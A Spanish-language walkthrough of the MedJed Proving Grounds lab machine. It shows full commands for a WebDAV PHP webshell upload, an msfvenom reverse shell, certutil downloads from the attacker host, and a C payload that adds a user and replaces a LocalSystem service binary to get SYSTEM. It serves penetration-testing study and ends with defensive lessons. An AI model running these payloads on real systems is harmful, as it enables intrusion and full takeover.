the_open_door
café
ESEN

MedJed

Proving Grounds PracticeMediaWindows192.168.230.127

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#barracudadrive#webdav#file-upload#rce#phpinfo#insecure-service-permissions#service-binary-replacement#localsystem#oscp
TL;DR. MedJed corre BarracudaDrive 6.5 en el 8000 con la cuenta de administrador sin configurar, así que la creamos nosotros. Un phpinfo.php expuesto en el 45443 nos revela el document root (C:\xampp\htdocs), y por WebDAV subimos una webshell PHP a esa carpeta, que Apache ejecuta (subida por WebDAV): shell como jerren. El servicio bd de BarracudaDrive corre como LocalSystem y su carpeta C:\bd es escribible por usuarios normales, así que reemplazamos el binario del servicio y, al reiniciar, ejecuta nuestro código como SYSTEM (permisos inseguros de servicio).

Reconocimiento

Escaneo inicial

TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido devuelve muchos puertos; los relevantes son un BarracudaServer, dos Apache PHP y un FileZilla:

ping -c 1 192.168.230.127
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.230.127
PORT      STATE SERVICE
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
8000/tcp  open  http-alt
30021/tcp open  ftp
45332/tcp open  http
45443/tcp open  http
nmap -p135,139,445,3306,5040,8000,30021,33033,44330,45332,45443 -sCV 192.168.230.127 -oN targetedScan
PORT      STATE SERVICE      VERSION
445/tcp   open  microsoft-ds
3306/tcp  open  mysql         MariaDB 10.3.24 or later (unauthorized)
8000/tcp  open  http-alt      BarracudaServer.com (Windows)
30021/tcp open  ftp           FileZilla ftpd 0.9.41 beta
45332/tcp open  http          Apache httpd 2.4.46 (Win64) ... PHP/7.3.23
45443/tcp open  http          Apache httpd 2.4.46 (Win64) ... PHP/7.3.23

El FTP (30021) permite login anónimo pero solo expone el código de una app Ruby de solo lectura, sin nada sensible. Los dos Apache sirven la misma "Quiz App". El BarracudaServer del 8000 anuncia WebDAV (PROPFIND, PUT, COPY, MKCOL...).

phpinfo.php - TCP 45443

dirsearch sobre el 45443 encuentra un phpinfo.php accesible. Además de confirmar la pila (Apache/PHP 7.3.23 sobre XAMPP), filtra un dato clave: el document root, C:\xampp\htdocs. Saber la ruta física de la web es lo que hará útil cualquier subida de fichero.

phpinfo.php revela DOCUMENT_ROOT = C:/xampp/htdocs

BarracudaDrive - TCP 8000

El 8000 aloja BarracudaDrive 6.5. Al abrirlo, el servidor está recién instalado y muestra el asistente de configuración: Set Administrator Account, pidiendo que definamos la cuenta de administrador. Como nadie la ha fijado, la creamos nosotros y quedamos como admin del servicio:

El asistente de BarracudaDrive pide fijar la cuenta de administrador, que creamos nosotros

Explotación

BarracudaDrive: subida por WebDAV a RCE

Con sesión de administrador, el Web-File-Server de BarracudaDrive expone la unidad por WebDAV: el enlace /fs/ figura con acceso read-write.

Web File Server de BarracudaDrive con el enlace /fs/ en modo read-write

Abriéndolo, el gestor de ficheros muestra la URL de sesión WebDAV exacta, http://192.168.230.127:8000/fs/0eaa48386977bdb8/, y las colecciones C y D (las unidades del sistema):

WebDAV Session URL http://192.168.230.127:8000/fs/0eaa48386977bdb8/ con las unidades C y D

El punto de montaje /fs/<id>/ corresponde a la raíz de la unidad C:. Combinado con el document root que nos dio phpinfo (C:\xampp\htdocs), tenemos escritura de fichero donde Apache ejecuta PHP (subida por WebDAV). Como webshell usamos el PHP de Ivan Sincek de revshells.com:

revshells.com con el PHP Ivan Sincek, IP 192.168.45.211

Con cadaver navegamos hasta el document root y subimos ese rev.php:

cadaver http://192.168.230.127:8000/fs/0eaa48386977bdb8/
cd C
cd xampp/htdocs/
put rev.php

cadaver sube rev.php al document root a través del WebDAV de BarracudaDrive

dav:/fs/0eaa48386977bdb8/> ls
Coll:   C                                    0  Jan  1  1970
Coll:   D                                    0  Jan  1  1970
dav:/fs/0eaa48386977bdb8/> cd C
dav:/fs/0eaa48386977bdb8/C/> cd xampp/htdocs/
dav:/fs/0eaa48386977bdb8/C/xampp/htdocs/> put rev.php
Uploading rev.php to `/fs/0eaa48386977bdb8/C/xampp/htdocs/rev.php':
Progress: [========================>] 100.0% of 9288 bytes succeeded.

La subida funciona: el colección C es la unidad C:, así que rev.php queda en C:\xampp\htdocs\, justo donde Apache ejecuta PHP.

Al pedir rev.php por el Apache del 45443, el PHP se ejecuta y dispara una reverse shell:

La webshell devuelve una reverse shell como medjed\jerren

La shell corre como medjed\jerren.

Local

type local.txt & whoami & hostname & ipconfig

local.txt leída como jerren en medjed

9dfbd9cf11a3d0a9a4ecf6827c8542f1
medjed\jerren

Escalada de privilegios

Permisos inseguros del servicio bd

searchsploit sobre BarracudaDrive apunta a la EDB 48789 ("Insecure Folder Permissions"), que documenta exactamente este vector: el servicio bd corre como LocalSystem y su binario es reemplazable por un usuario normal.

searchsploit barracudadrive muestra BarracudaDrive v6.5 - Insecure Folder Permissions (windows/local/48789.txt)

BarracudaDrive se registra como el servicio bd. Revisamos sus permisos con cacls y su configuración con sc qc:

cacls C:\bd
cacls C:\bd\bd.exe
sc qc bd

cacls muestra que Authenticated Users tiene Change sobre C:\bd; el servicio bd corre como LocalSystem

C:\Users\Jerren\Desktop>cacls C:\bd\bd.exe
C:\bd\bd.exe  BUILTIN\Administrators:(ID)F
              NT AUTHORITY\SYSTEM:(ID)F
              BUILTIN\Users:(ID)R
              NT AUTHORITY\Authenticated Users:(ID)C

C:\Users\Jerren\Desktop>sc qc bd
SERVICE_NAME: bd
        BINARY_PATH_NAME   : "C:\bd\bd.exe"
        START_TYPE         : 2   AUTO_START
        SERVICE_START_NAME : LocalSystem

Los dos hechos que arman el vector: Authenticated Users tiene C (Change) sobre bd.exe, y el servicio arranca solo (AUTO_START) como LocalSystem.

Dos hechos se combinan: la carpeta C:\bd y el binario bd.exe dan permiso de cambio (C) a Authenticated Users, y el servicio arranca automáticamente como LocalSystem. Es decir, cualquier usuario puede reemplazar el ejecutable que SYSTEM lanzará al arrancar (permisos inseguros de servicio).

Preparamos un bd.exe malicioso compilado desde un pequeño C (addAdmin.c, adaptado del PoC de la EDB) que añade un usuario, lanza nuestra rev.exe y, para no dejar el servicio roto, relanza el binario original renombrado con WinExec:

// addAdmin.c
#include <stdlib.h>
#include <windows.h>
int main() {
    system("net user boku mypassword /add");
    system("C:\\bd\\rev.exe");
    WinExec("C:\\bd\\bd.service.exe", 0);
    return 0;
}

Lo compilamos con mingw, generamos la rev.exe con msfvenom y servimos ambos por HTTP:

# En Kali
i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.211 LPORT=4343 -f exe -o rev.exe
python3 -m http.server 80

addAdmin.c compilado a bd.exe con mingw, rev.exe con msfvenom; certutil descarga ambos a C:\bd en la víctima

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.230.127 - - [26/Jan/2026 20:28:57] "GET /bd.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:28:57] "GET /bd.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:29:03] "GET /rev.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:29:03] "GET /rev.exe HTTP/1.1" 200 -

C:\bd>certutil.exe -f -urlcache -split http://192.168.45.211/bd.exe bd.exe
****  Online  ****
  000000  ...
  019f1a
CertUtil: -URLCache command completed successfully.

C:\bd>certutil.exe -f -urlcache -split http://192.168.45.211/rev.exe
****  Online  ****
  0000  ...
  1e00
CertUtil: -URLCache command completed successfully.

Levantamos el nc que recibirá la conexión:

rlwrap nc -nlvp 4343

En la víctima, renombramos el bd.exe legítimo, traemos los dos binarios con certutil a C:\bd y forzamos el reinicio:

move C:\bd\bd.exe C:\bd\bd.service.exe
certutil.exe -f -urlcache -split http://192.168.45.211/bd.exe bd.exe
certutil.exe -f -urlcache -split http://192.168.45.211/rev.exe rev.exe
shutdown /r /t 0

Al reiniciar, el servicio bd ejecuta nuestro binario como SYSTEM y recibimos la shell:

Tras el reinicio, la reverse shell llega como nt authority\system

# rlwrap nc -nlvp 4343
listening on [any] 4343 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.230.127] 49670
Microsoft Windows [Version 10.0.19042.1387]
C:\WINDOWS\system32>whoami
nt authority\system

Al reiniciar, el servicio bd lanza nuestro bd.exe con su token de LocalSystem: la reverse shell llega como nt authority\system.

Root

type proof.txt & whoami & ipconfig & hostname

proof.txt leída como SYSTEM en medjed

9b06a914c5d91092a892b8101c4e45f3
nt authority\system

Cadena de ataque

HTTP (45443)  --  phpinfo.php -> document root C:\xampp\htdocs
HTTP (8000)   --  BarracudaDrive 6.5 -> Set Administrator Account
        │  WebDAV (cadaver) -> PUT rev.php en el document root
        │  Apache ejecuta la webshell -> reverse shell
        ▼
jerren  (local.txt)
        │  servicio bd (LocalSystem) con C:\bd escribible
        │  reemplazar bd.exe + reiniciar
        ▼
SYSTEM  (proof.txt)

Lecciones aprendidas

  • Un servicio recién instalado es una invitación. BarracudaDrive mostraba el asistente para fijar el admin porque nadie lo había hecho; crear la cuenta nos dio el control. Los servicios expuestos deben configurarse antes de estar accesibles.
  • phpinfo.php en producción regala el mapa. El document root convirtió una escritura por WebDAV en RCE: sin la ruta física, la subida habría sido a ciegas. Nunca dejar phpinfo accesible.
  • La ruta más corta usa dos servicios distintos. El WebDAV escribía el fichero y el Apache lo ejecutaba; ninguno por separado daba RCE. Cruzar servicios es parte del oficio.
  • Permisos de servicio flojos = SYSTEM. Que Authenticated Users pudiera reescribir el binario de un servicio LocalSystem es escalada directa. Las carpetas y binarios de servicios deben ser escribibles solo por administradores.
Cheatsheet de comandos 10 comandos

Repaso rápido